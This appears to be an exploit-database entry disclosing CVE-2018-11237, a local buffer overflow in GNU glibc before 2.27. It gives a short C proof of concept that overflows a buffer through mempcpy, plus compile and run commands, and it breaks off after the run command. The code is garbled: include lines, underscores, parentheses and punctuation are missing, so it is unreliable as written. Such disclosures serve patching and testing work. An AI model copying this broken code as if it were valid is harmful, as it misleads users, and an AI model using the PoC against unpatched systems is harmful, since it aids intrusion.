GNU glibc < 2.27 - Local Buffer Overflow

GNU glibc Vendor Homepage: http://www.gnu.org/ CVE: CVE-2018-11237 POC: $ cat mempcpy.c define GNUSOURCE 1 include include define N 97699 char aN; char bN+128; int main void memset a, 'x', N; char c = mempcpy b, a, N; assert c == 0; $ gcc -g mempcpy.c -o mempcpy -fno-builtin-mempcpy $ ./mempcpy...